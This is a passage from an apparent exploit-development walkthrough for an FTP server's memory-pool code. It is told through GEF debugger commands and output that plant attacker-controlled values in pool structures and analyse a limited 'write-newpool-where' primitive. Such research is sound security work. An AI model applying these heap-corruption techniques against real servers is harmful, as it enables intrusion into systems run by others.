text
stringlengths
0
1.99k
[#4] 0x5555555c0cbd → pr_event_generate(event=0x555555649305 "core.e [...]
[#5] 0x5555555c2066 → sess_cleanup(flags=0x0)
[#6] 0x5555555c218d → pr_session_end(flags=0x0)
[#7] 0x5555555c216a → pr_session_disconnect(m=0x0, reason_code=0x2, [...]
[#8] 0x5555555a774d → poll_ctrl()
[#9] 0x5555555a7c7d → pr_data_xfer(cl_buf=0x555555712760 "DDDDDDDDp' [...]
───────────────────────────────────────────────────────────────────────────
gef➤
Now it's time to pop up the make_sub_pool() that we saw before. Here we
have another opportunity when creating a temporary sub-pool. On line 432,
we can see that new_pool->sub_next is controllable by us. Then, at the
offset of sub_prev on line 435, the value of new_pool is written.
So, it's not really an arbitrary write because we control only the memory
location, not the content being written - which is the memory address of
new_pool.
So detach and repeat everything. After the breakpoint on pool.c:569 do:
gef➤ break pool.c:432 if (p->sub_pools >= 0x4141414144444444)
gef➤ set p->last = &p->cleanups
gef➤ set p->sub_next = &p->tag
gef➤ set p->sub_pools = 0x4444444444444444
gef➤ p *p
$10 = {
first = 0x4141414141414141,
last = 0x5555557129a0,
cleanups = 0x4141414141414141,
sub_pools = 0x4444444444444444,
sub_next = 0x5555557129d0,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141,
tag = 0x4141414141414141
}
gef➤ c
I added another breakpoint before it reads p->sub_pools in make_sub_pool().
Now continue execution until it stops in that function.
After it breaks at pool.c:432, change the value of p->sub_pools to
something that won't cause a crash, for example:
gef➤ set p->sub_pools = &p->sub_next
gef➤ c
As you may have noticed, the program exited without crashing. That was the
path where I spent a lot of time. The value we control is stored in the rax
register, and new_pool is in rdx. This is not enough to overwrite the stack
return address, since there's an offset of 0x28 from the value.
We have 2 exploitation paths as of now:
1) arbitrary values on resp_pool members;
2) write new_pool anywhere we want (not a exactly a write-what-where,
so we can call it write-newpool-where =).
The benefit from 2nd is that new_pool holds a pointer to the resp_pool
structure that we control:
gef➤ p p
$84 = (struct pool_rec *) 0x555555718930
gef➤ p *new_pool
$85 = {
first = 0x5555556d8cd0,
last = 0x5555556d8cd0,
cleanups = 0x0,
sub_pools = 0x0,
sub_next = 0x0,
sub_prev = 0x0,
parent = 0x555555718930,
free_first_avail = 0x5555556d8d38 "",
tag = 0x0
}
gef➤ p *new_pool->parent
$86 = {
first = 0x4141414141414141,
last = 0x555555718940,
cleanups = 0x4141414141414141,
sub_pools = 0x4444444444444444,
sub_next = 0x5555556b6a40,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141,
tag = 0x4141414141414141
}
The pointer to the data we control is shifted 0x30 bytes in new_pool:
gef➤ p/x (char *)&new_pool->parent - (char *)new_pool
$87 = 0x30
We need to find some member or function access in another structure. This
is especially tricky because the execution flow we have is very limited
now, since all the operations are done.
Let's proceed with the analysis.